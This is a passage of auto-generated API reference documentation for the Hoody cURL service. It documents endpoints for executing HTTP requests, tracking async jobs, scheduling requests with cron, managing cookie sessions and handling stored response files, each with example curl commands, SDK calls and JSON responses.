Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```

The connection is upgraded to a WebSocket. After this point the client should expect JSON event frames rather than HTTP responses.


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid WebSocket upgrade request"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "WebSocket upgrade failed"
}
```

---

# Hoody cURL

**Page:** api/curl/index

[Download Raw Markdown](./api/curl/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody cURL

The Hoody cURL service provides a programmable HTTP client for executing, scheduling, and managing outbound HTTP requests. It supports session-based request execution with persistent cookies and authentication, asynchronous job processing for long-running requests, and cron-based scheduling for recurring calls. Responses can be stored as files for later retrieval.

Use these endpoints to monitor service health, scrape metrics, and explore the full feature set linked below.

### Service Endpoints




Execute HTTP requests via GET or POST with full control over headers, body, and timeout.

[Explore execution →](/api/curl/execution/)




Persist cookies and authentication state across multiple requests within a named session.

[Explore sessions →](/api/curl/sessions/)




List, inspect, cancel, and retrieve results for asynchronous HTTP request jobs.

[Explore jobs →](/api/curl/jobs/)




Create recurring HTTP requests triggered by cron expressions on a defined schedule.

[Explore scheduling →](/api/curl/scheduling/)




List, retrieve, and delete response files stored from previous request executions.

[Explore storage →](/api/curl/storage/)




---

## Operations

### Check service health

`GET /api/v1/curl/health`

Returns the standardized service health response. This endpoint is unauthenticated and intended for liveness and readiness probes.

This endpoint takes no parameters.




```bash
curl -X GET https://api.hoody.com/api/v1/curl/health
```




```typescript
const health = await client.curl.health.check();
```




```json
{
  "status": "ok",
  "service": "curl",
  "uptime": 3600,
  "version": "1.0.0"
}
```




### Export Prometheus metrics

`GET /metrics`

Exports a minimal Prometheus metrics set suitable for scraping by dashboards and alerting systems. Response is returned in Prometheus text exposition format.

This endpoint takes no parameters.




```bash
curl -X GET https://api.hoody.com/metrics
```




```typescript
const metrics = await client.curl.ops.metrics();
```




```
# HELP hoody_curl_requests_total Total number of HTTP requests executed
# TYPE hoody_curl_requests_total counter
hoody_curl_requests_total 12450
# HELP hoody_curl_jobs_active Number of active async jobs
# TYPE hoody_curl_jobs_active gauge
hoody_curl_jobs_active 3
```

---

# Job Management

**Page:** api/curl/jobs

[Download Raw Markdown](./api/curl/jobs.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Job Management

The Job Management endpoints let you list, inspect, cancel, and retrieve results for asynchronous cURL jobs. Use these endpoints after submitting a request with `mode=async` to monitor execution status, fetch completed response bodies, or terminate jobs that are no longer needed.

### List all async jobs

`GET /api/v1/curl/jobs`

Retrieve a paginated list of all async jobs, sorted by creation time (newest first). Each entry includes the job ID, status, target URL, and creation timestamp.

**Use cases:**
- Monitor status of long-running downloads
- Track multiple concurrent API requests
- Audit historical request activity
- Identify failed requests for retry

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | 1-based page number |
| `limit` | query | integer | No | Items per page (current handler returns all items when omitted) |



```bash
curl -X GET "https://api.hoody.com/api/v1/curl/jobs?page=1&limit=20" \
  -H "Authorization: Bearer <token>"
```


```typescript
const jobs = await client.curl.jobs.listIterator({ page: 1, limit: 20 });
for await (const job of jobs) {
  console.log(job.id, job.status);
}
```


```json
{
  "items": [
    {
      "id": "8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a",
      "name": "weekly-report-download",
      "method": "GET",
      "url": "https://api.example.com/reports/weekly",
      "status": "completed",
      "created_at": "2026-01-15T10:30:00Z",
      "completed_at": "2026-01-15T10:30:12Z"
    },
    {
      "id": "7a3e5c1f-8d9b-4e2a-b6c1-5f7d3a8b9c2e",
      "name": null,
      "method": "POST",
      "url": "https://api.example.com/webhooks/notify",
      "status": "running",
      "created_at": "2026-01-15T10:29:45Z",
      "completed_at": null
    }
  ],
  "meta": {
    "total": 47,
    "page": 1,
    "limit": 20
  }
}
```


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read jobs from storage"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Unable to read jobs from persistent storage | Verify storage directory permissions and disk space availability |



### Get detailed job information

`GET /api/v1/curl/jobs/{id}`

Retrieve complete details of a specific job, including its request configuration, current status, response data (if completed), and execution metadata. Use this endpoint to check job progress or retrieve results after completion.

**Job states:**
- `pending` — Queued, waiting for execution
- `running` — Currently executing
- `completed` — Successfully finished, response available
- `failed` — Execution failed, error details in response
- `cancelled` — User-cancelled before completion

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique job identifier (UUID format) |



```bash
curl -X GET "https://api.hoody.com/api/v1/curl/jobs/8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a" \
  -H "Authorization: Bearer <token>"
```


```typescript
const job = await client.curl.jobs.get("8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a");
console.log(job.status, job.retry_attempts);
```


```json
{
  "id": "8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a",
  "name": "weekly-report-download",
  "session_id": "sess_4a2b9c1d3e5f",
  "status": "completed",
  "created_at": "2026-01-15T10:30:00Z",
  "started_at": "2026-01-15T10:30:01Z",
  "completed_at": "2026-01-15T10:30:12Z",
  "error": null,
  "retry_count": 0,
  "retry_attempts": 1,
  "request": {
    "url": "https://api.example.com/reports/weekly",
    "method": "GET",
    "headers": {
      "Authorization": "Bearer <token>",
      "Accept": "application/pdf"
    },
    "timeout": 30000,
    "follow_redirects": true,
    "max_redirects": 5
  },
  "response": {
    "status_code": 200,
    "content_type": "application/pdf",
    "headers": {
      "Content-Type": "application/pdf",
      "Content-Length": "248576"
    },
    "body": [37, 80, 68, 70, 45, 49, 46, 52],
    "total_time": 11.42,
    "namelookup_time": 0.012,
    "connect_time": 0.089,
    "pretransfer_time": 0.145,
    "starttransfer_time": 11.38,
    "redirect_time": 0.0,
    "redirect_count": 0,
    "size_download": 248576,
    "size_upload": 0,
    "speed_download": 21770.5,
    "speed_upload": 0.0,
    "effective_url": "https://api.example.com/reports/weekly"
  }
}
```


```json
{
  "error": "JOB_NOT_FOUND",
  "message": "Job not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `JOB_NOT_FOUND` | Job does not exist | No job exists with the provided ID | Verify job ID from listJobs, or check if job was deleted |


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read job data"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Unable to read job data from storage | Check storage permissions and retry operation |



### Get job response body

`GET /api/v1/curl/jobs/{id}/result`

Retrieve only the HTTP response body from a completed job in transparent mode. Returns the raw response with original headers, exactly as received from the target server.


Use this endpoint when you need the raw, unprocessed response body and headers from a completed job. For parsed response data with timing metrics, use `GET /api/v1/curl/jobs/{id}` instead.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique job identifier (UUID format) |



```bash
curl -X GET "https://api.hoody.com/api/v1/curl/jobs/8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a/result" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.curl.jobs.getResult("8b4f1d2a-3c5e-4f7a-9b1d-2e8a4c6d1f3a");
```


```json
{
  "statusCode": 200,
  "headers": {
    "Content-Type": "application/pdf",
    "Content-Length": "248576",
    "Server": "nginx/1.24.0"
  },
  "body": "JVBERi0xLjQKJcKlwrHDqwoKMSAwIG9iago8PCAvVHlwZSAvQ2F0YWxvZyAvUGFnZXMgMiAwIFIgPj4KZW5kb2JqCjIgMCBvYmo..."
}
```


```json
{
  "error": "JOB_RESULT_NOT_READY",
  "message": "Job result not available yet"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `JOB_NOT_FOUND` | Job does not exist | No job found with the provided ID | Verify job ID is correct using listJobs |
| `JOB_RESULT_NOT_READY` | Result not available | Job has not completed yet or failed without response | Check job status with getJob, wait for completion |


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to retrieve job result"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Failed to read job result from storage | Check storage integrity and retry |



### Cancel a pending or running job

`DELETE /api/v1/curl/jobs/{id}`

Attempt to cancel a job that is currently `pending` or `running`. Once cancelled, the job cannot be restarted.


Cancellation is best-effort. A job in `completed`, `failed`, or `cancelled` state cannot be cancelled again.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique job identifier (UUID format) |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/curl/jobs/7a3e5c1f-8d9b-4e2a-b6c1-5f7d3a8b9c2e" \
  -H "Authorization: Bearer <token>"
```


```typescript
await client.curl.jobs.cancel("7a3e5c1f-8d9b-4e2a-b6c1-5f7d3a8b9c2e");
```


```json
{
  "statusCode": 200,
  "message": "Job cancellation requested"
}
```


```json
{
  "error": "JOB_NOT_FOUND",
  "message": "Job not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `JOB_NOT_FOUND` | Job does not exist | Cannot cancel job that doesn't exist | Verify job ID using listJobs endpoint |


```json
{
  "error": "INTERNAL_ERROR",
  "message": "Failed to cancel job"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INTERNAL_ERROR` | Cancellation failed | Job cancellation operation encountered an error | Retry cancellation or contact support if persistent |

---

# Request Scheduling

**Page:** api/curl/scheduling

[Download Raw Markdown](./api/curl/scheduling.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Request Scheduling

Create and manage recurring HTTP requests using cron-based schedules. Schedules are persistent and survive server restarts. Use these endpoints to define cron-based execution rules, list existing jobs, toggle their state, and remove schedules that are no longer needed.

## List Schedules

`GET /api/v1/curl/schedule`

Retrieve a list of all recurring schedules, sorted by creation time (newest first). Shows schedule configuration, next execution time, and enabled/disabled status.

**Schedule States:**
- **Enabled** — Active, will execute at next scheduled time
- **Disabled** — Paused, will not execute (can be re-enabled)

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | 1-based page number |
| `limit` | query | integer | No | Items per page (current handler returns all items when omitted) |

### Response




```json
{
  "items": [
    {
      "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "cron": "0 0 9 * * MON-FRI",
      "enabled": true,
      "created_at": "2025-01-15T10:30:00Z",
      "last_run": "2025-01-15T09:00:00Z",
      "name": "Weekday morning report",
      "next_run": "2025-01-16T09:00:00Z",
      "request": {
        "url": "https://api.example.com/reports/daily",
        "method": "GET"
      }
    },
    {
      "id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
      "cron": "0 0 * * * *",
      "enabled": false,
      "created_at": "2025-01-14T08:00:00Z",
      "last_run": null,
      "name": "Hourly health check",
      "next_run": null,
      "request": {
        "url": "https://api.example.com/health",
        "method": "GET"
      }
    }
  ],
  "meta": {
    "page": 1,
    "limit": 20,
    "total": 2
  }
}
```




```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read schedules"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Unable to read schedules from persistent storage | Check storage directory permissions and disk availability |




### SDK Usage

```typescript
const result = await client.curl.schedules.listIterator({ page: 1, limit: 20 });
```

## Get Schedule

`GET /api/v1/curl/schedule/{id}`

Retrieve complete details of a specific schedule including its cron expression, request configuration, and execution history.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique schedule identifier (UUID format) |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "cron": "0 0 9 * * MON-FRI",
  "enabled": true,
  "created_at": "2025-01-15T10:30:00Z",
  "last_run": "2025-01-15T09:00:00Z",
  "name": "Weekday morning report",
  "next_run": "2025-01-16T09:00:00Z",
  "request": {
    "url": "https://api.example.com/reports/daily",
    "method": "GET",
    "headers": {
      "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    }
  }
}
```




```json
{
  "error": "SCHEDULE_NOT_FOUND",
  "message": "Schedule not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCHEDULE_NOT_FOUND` | Schedule does not exist | No schedule found with the provided ID | Verify schedule ID using listSchedules endpoint |




```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read schedule"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Failed to read schedule data from storage | Check storage integrity and retry |




### SDK Usage

```typescript
const result = await client.curl.schedules.get("a1b2c3d4-e5f6-7890-abcd-ef1234567890");
```

## Create Schedule

`POST /api/v1/curl/schedule`

Create a new cron-based schedule that executes an HTTP request repeatedly at specified intervals.

**Cron Expression Format:** 6 fields — `second minute hour day month weekday`
- `0 * * * * *` — Every minute
- `0 0 * * * *` — Every hour
- `0 0 9 * * MON-FRI` — Weekdays at 9 AM
- `0 0 0 * * *` — Daily at midnight
- `0 0 12 1 * *` — Monthly on 1st at noon

**Common Use Cases:**
- Periodic API data collection
- Regular health checks and monitoring
- Scheduled report generation
- Automated backups or synchronization

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `cron` | string | Yes | Six-field cron expression: `second minute hour day month weekday` |
| `request` | object | Yes | The cURL request to execute on each tick. See CurlRequest for the full field reference. |

```json
{
  "cron": "0 0 9 * * MON-FRI",
  "request": {
    "url": "https://api.example.com/reports/daily",
    "method": "GET",
    "headers": {
      "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    }
  }
}
```

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "cron": "0 0 9 * * MON-FRI",
  "enabled": true,
  "created_at": "2025-01-15T10:30:00Z",
  "request": {
    "url": "https://api.example.com/reports/daily",
    "method": "GET"
  }
}
```




```json
{
  "error": "INVALID_CRON_EXPRESSION",
  "message": "Invalid cron expression: invalid field"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_CRON_EXPRESSION` | Malformed cron expression | The provided cron expression is invalid or incorrectly formatted | Use 6-field format: `second minute hour day month weekday`. Example: `0 0 9 * * MON-FRI` |
| `INVALID_PARAMETER` | Invalid request configuration | The embedded request contains invalid parameters | Verify `request.url` is valid and all parameters match expected types |




```json
{
  "error": "SCHEDULE_CREATION_FAILED",
  "message": "Failed to create schedule"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCHEDULE_CREATION_FAILED` | Schedule creation failed | Unable to create schedule in persistent storage | Check storage permissions and disk space, then retry |




### SDK Usage

```typescript
const result = await client.curl.schedules.create({
  cron: "0 0 9 * * MON-FRI",
  request: {
    url: "https://api.example.com/reports/daily",
    method: "GET"
  }
});
```

## Toggle Schedule

`PATCH /api/v1/curl/schedule/{id}/toggle`

Toggle a schedule between enabled and disabled states without deleting it. Send a JSON body of `{"enabled": true}` to enable or `{"enabled": false}` to disable the schedule.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique schedule identifier |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "enabled": true
}
```




```json
{
  "error": "SCHEDULE_NOT_FOUND",
  "message": "Schedule not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCHEDULE_NOT_FOUND` | Schedule does not exist | Cannot toggle schedule that doesn't exist | Verify schedule ID using listSchedules endpoint |




```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to toggle schedule"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage update failed | Schedule exists but state could not be updated in storage | Check storage permissions and retry operation |




### SDK Usage

```typescript
const result = await client.curl.schedules.toggle("a1b2c3d4-e5f6-7890-abcd-ef1234567890", { enabled: true });
```

## Delete Schedule

`DELETE /api/v1/curl/schedule/{id}`

Permanently delete a recurring schedule. The schedule will immediately stop executing and all configuration will be removed.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique schedule identifier |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
}
```




```json
{
  "error": "SCHEDULE_NOT_FOUND",
  "message": "Schedule not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SCHEDULE_NOT_FOUND` | Schedule does not exist | Cannot delete schedule that doesn't exist | Verify schedule ID using listSchedules endpoint |




```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to delete schedule"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage delete failed | Schedule exists but could not be deleted from storage | Check storage permissions and retry operation |




### SDK Usage

```typescript
await client.curl.schedules.delete("a1b2c3d4-e5f6-7890-abcd-ef1234567890");
```

---

# Session Management

**Page:** api/curl/sessions

[Download Raw Markdown](./api/curl/sessions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Session Management

Cookie sessions preserve authentication state and cookies across multiple HTTP requests. Use these endpoints to inspect, list, and manage sessions created during curl-based interactions. Sessions are created automatically on first use with a `session_id` and persist until explicitly deleted.


  Common patterns include login flows (POST login → save cookies → subsequent requests reuse the session), API authentication (initial auth → session preserves tokens), and multi-step workflows where each step relies on the same cookie jar.


---

### `GET /api/v1/curl/sessions`

Retrieve a list of all active cookie sessions, sorted by last used time.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | 1-based page number (optional) |
| `limit` | query | integer | No | Items per page (optional; current handler returns all items when omitted) |

This endpoint accepts no request body.



```bash
curl -G https://api.hoody.com/api/v1/curl/sessions \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "page=1" \
  --data-urlencode "limit=20"
```


```python
client.curl.sessions.listIterator(
    page=1,
    limit=20,
)
```


```json
{
  "items": [
    {
      "id": "sess_abc123def456",
      "cookies": {
        "session_id": "eyJpZCI6MTIzfQ==",
        "csrf_token": "tk_9f8e7d6c5b4a"
      },
      "created_at": "2024-01-15T10:30:00Z",
      "last_used": "2024-01-15T14:22:15Z",
      "scoped_cookies": [
        {
          "domain": "api.example.com",
          "host_only": true,
          "name": "session_id",
          "path": "/",
          "secure": true,
          "value": "eyJpZCI6MTIzfQ=="
        }
      ]
    }
  ],
  "meta": {
    "total": 1,
    "page": 1,
    "limit": 20
  }
}
```


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read sessions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Unable to read sessions from persistent storage | Check storage permissions and disk availability |



---

### `GET /api/v1/curl/sessions/{id}`

Retrieve complete details of a specific cookie session, including all stored cookies, creation time, and last usage timestamp.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Session identifier (caller-provided string) |

This endpoint accepts no request body.



```bash
curl https://api.hoody.com/api/v1/curl/sessions/sess_abc123def456 \
  -H "Authorization: Bearer <token>"
```


```python
client.curl.sessions.get(
    id="sess_abc123def456",
)
```


```json
{
  "id": "sess_abc123def456",
  "cookies": {
    "session_id": "eyJpZCI6MTIzfQ==",
    "csrf_token": "tk_9f8e7d6c5b4a"
  },
  "created_at": "2024-01-15T10:30:00Z",
  "last_used": "2024-01-15T14:22:15Z",
  "scoped_cookies": [
    {
      "domain": "api.example.com",
      "host_only": true,
      "name": "session_id",
      "path": "/",
      "secure": true,
      "value": "eyJpZCI6MTIzfQ=="
    },
    {
      "domain": "api.example.com",
      "host_only": true,
      "name": "csrf_token",
      "path": "/",
      "secure": true,
      "value": "tk_9f8e7d6c5b4a"
    }
  ]
}
```


```json
{
  "error": "SESSION_NOT_FOUND",
  "message": "Session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | Session does not exist | No session found with the provided ID | Verify session ID using listSessions or create new session |


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read session"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Failed to read session data from storage | Check storage integrity and retry |



---

### `GET /api/v1/curl/sessions/{id}/cookies`

Retrieve only the cookie snapshot from a session, without metadata. Unique cookie names are returned as plain keys; if the same cookie name exists under multiple domain or path scopes, the snapshot uses scope-qualified keys like `name@example.com/` to avoid silently dropping entries.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Session identifier |

This endpoint accepts no request body.



```bash
curl https://api.hoody.com/api/v1/curl/sessions/sess_abc123def456/cookies \
  -H "Authorization: Bearer <token>"
```


```python
client.curl.sessions.getCookies(
    id="sess_abc123def456",
)
```


```json
{
  "session_id": "eyJpZCI6MTIzfQ==",
  "csrf_token": "tk_9f8e7d6c5b4a"
}
```


```json
{
  "error": "SESSION_NOT_FOUND",
  "message": "Session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | Session does not exist | No session found with the provided ID | Verify session ID using listSessions |


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read cookies"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Failed to read session cookies from storage | Check storage permissions and retry |



---

### `DELETE /api/v1/curl/sessions/{id}`

Permanently delete a session and all its stored cookies. This action cannot be undone.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Session identifier to delete |

This endpoint accepts no request body.



```bash
curl -X DELETE https://api.hoody.com/api/v1/curl/sessions/sess_abc123def456 \
  -H "Authorization: Bearer <token>"
```


```python
client.curl.sessions.delete(
    id="sess_abc123def456",
)
```


```json
{
  "id": "sess_abc123def456",
  "deleted": true
}
```


```json
{
  "error": "SESSION_NOT_FOUND",
  "message": "Session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | Session does not exist | Cannot delete session that doesn't exist | Verify session ID using listSessions endpoint |


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to delete session"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage delete failed | Session exists but could not be deleted from storage | Check storage permissions and retry operation |




  Deleting a session removes all stored cookies. Any in-flight workflows that depend on the session will lose authentication state.

---

# Storage Management

**Page:** api/curl/storage

[Download Raw Markdown](./api/curl/storage.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

The Storage Management endpoints let you list, retrieve, and delete files that have been saved to local storage by curl jobs. Files are organized using three directory structures — `by-job`, `by-domain`, and `by-date` — but all three paths point to the same physical files via symlinks. Use these endpoints to audit downloads, find files by domain or date, or clean up old data.

## List saved files

### `GET /api/v1/curl/storage`

Retrieve a paginated list of all files saved to storage from HTTP requests.

**Storage Organization:**

- `by-job/{uuid}/filename` — Primary location, organized by storage UUID
- `by-domain/{domain}/{uuid}` — Grouped by source domain
- `by-date/{YYYY-MM-DD}/{uuid}` — Grouped by download date

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | 1-based page number (optional) |
| `limit` | query | integer | No | Items per page (optional; current handler returns all items when omitted) |

### Response



```json
{
  "items": [
    {
      "path": "by-job/550e8400-e29b-41d4-a716-446655440000/report.pdf",
      "size": 1048576,
      "created_at": "2024-01-15T10:30:00Z",
      "job_id": "550e8400-e29b-41d4-a716-446655440000",
      "url": "https://api.example.com/reports/q4.pdf"
    },
    {
      "path": "by-date/2024-01-15/660e8400-e29b-41d4-a716-446655440111",
      "size": 2048,
      "created_at": "2024-01-15T11:45:12Z",
      "job_id": "660e8400-e29b-41d4-a716-446655440111",
      "url": "https://cdn.example.com/data.json"
    }
  ],
  "meta": {
    "total": 2,
    "page": 1,
    "limit": 50
  }
}
```


```json
{
  "error": "STORAGE_ERROR",
  "message": "Failed to read storage directory"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `STORAGE_ERROR` | Storage read failed | Unable to read storage directory or file metadata | Check storage directory exists and has read permissions |



### SDK usage

```ts
const result = await client.curl.storage.listIterator();
for await (const file of result) {
  console.log(file.path, file.size);
}
```

With pagination parameters:

```ts
const result = await client.curl.storage.listIterator({
  page: 1,
  limit: 50,
});
```

## Download a saved file

### `GET /api/v1/curl/storage/{path}`

Retrieve the contents of a file previously saved to storage. The file is returned as a binary stream with `Content-Type: application/octet-stream`, making it suitable for downloads of any file type.

**Path Examples:**

- `by-job/550e8400-e29b-41d4-a716-446655440000/report.pdf`
- `by-domain/api.example.com/660e8400-e29b-41d4-a716-446655440111`
- `by-date/2024-01-15/770e8400-e29b-41d4-a716-446655440222`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Relative path to file in storage (supports nested paths) |

### Response



The file body is returned as a binary stream. Example (text content shown for illustration; actual responses are raw bytes):

```
%PDF-1.4
%âãÏÓ
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
...
```


```json
{
  "error": "FILE_NOT_FOUND",
  "message": "File not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_NOT_FOUND` | File does not exist | No file exists at the specified storage path | Verify file path using listStorage, check if file was deleted |


```json
{
  "error": "FILE_READ_ERROR",
  "message": "Failed to read file"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_READ_ERROR` | File read failed | File exists but cannot be read | Check file permissions and disk integrity |



### SDK usage

```ts
const file = await client.curl.storage.getFile({
  path: "by-job/550e8400-e29b-41d4-a716-446655440000/report.pdf",
});
```


The SDK returns a binary stream. The exact consumer interface depends on your runtime — use `Response`, `Blob`, `ArrayBuffer`, or a streaming file writer as appropriate.


## Delete a saved file

### `DELETE /api/v1/curl/storage/{path}`

Permanently delete a file from storage. This action cannot be undone.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Relative path to file in storage |

### Response



```json
{
  "ok": true,
  "deleted": "by-job/550e8400-e29b-41d4-a716-446655440000/report.pdf"
}
```


```json
{
  "error": "FILE_NOT_FOUND",
  "message": "File not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_NOT_FOUND` | File does not exist | Cannot delete file that doesn't exist | Verify file path using listStorage endpoint |


```json
{
  "error": "FILE_DELETE_ERROR",
  "message": "Failed to delete file"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_DELETE_ERROR` | File deletion failed | File exists but could not be deleted | Check file permissions and retry operation |



### SDK usage

```ts
await client.curl.storage.deleteFile({
  path: "by-job/550e8400-e29b-41d4-a716-446655440000/report.pdf",
});
```


Deletion is permanent and cannot be undone. Confirm the file path is correct before invoking this endpoint, especially when using user-supplied input.

---

# Curl:curl

**Page:** api/curl-curl

[Download Raw Markdown](./api/curl-curl.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/request` — Execute simple HTTP request via query parameters
- **POST** `/api/v1/curl/request` — Execute HTTP request with full cURL capabilities

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:events

**Page:** api/curl-events

[Download Raw Markdown](./api/curl-events.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/ws` — Subscribe to job events over WebSocket

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:Health

**Page:** api/curl-health

[Download Raw Markdown](./api/curl-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:jobs

**Page:** api/curl-jobs

[Download Raw Markdown](./api/curl-jobs.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/jobs` — List all async jobs
- **GET** `/api/v1/curl/jobs/{id}` — Get detailed job information
- **DELETE** `/api/v1/curl/jobs/{id}` — Cancel a pending or running job
- **GET** `/api/v1/curl/jobs/{id}/result` — Get job response body

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:ops

**Page:** api/curl-ops

[Download Raw Markdown](./api/curl-ops.md)

---

## API Endpoints Summary

- **GET** `/metrics` — Prometheus metrics

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:schedules

**Page:** api/curl-schedules

[Download Raw Markdown](./api/curl-schedules.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/schedule` — List all scheduled jobs
- **POST** `/api/v1/curl/schedule` — Create a recurring scheduled job
- **GET** `/api/v1/curl/schedule/{id}` — Get schedule details
- **DELETE** `/api/v1/curl/schedule/{id}` — Delete a schedule
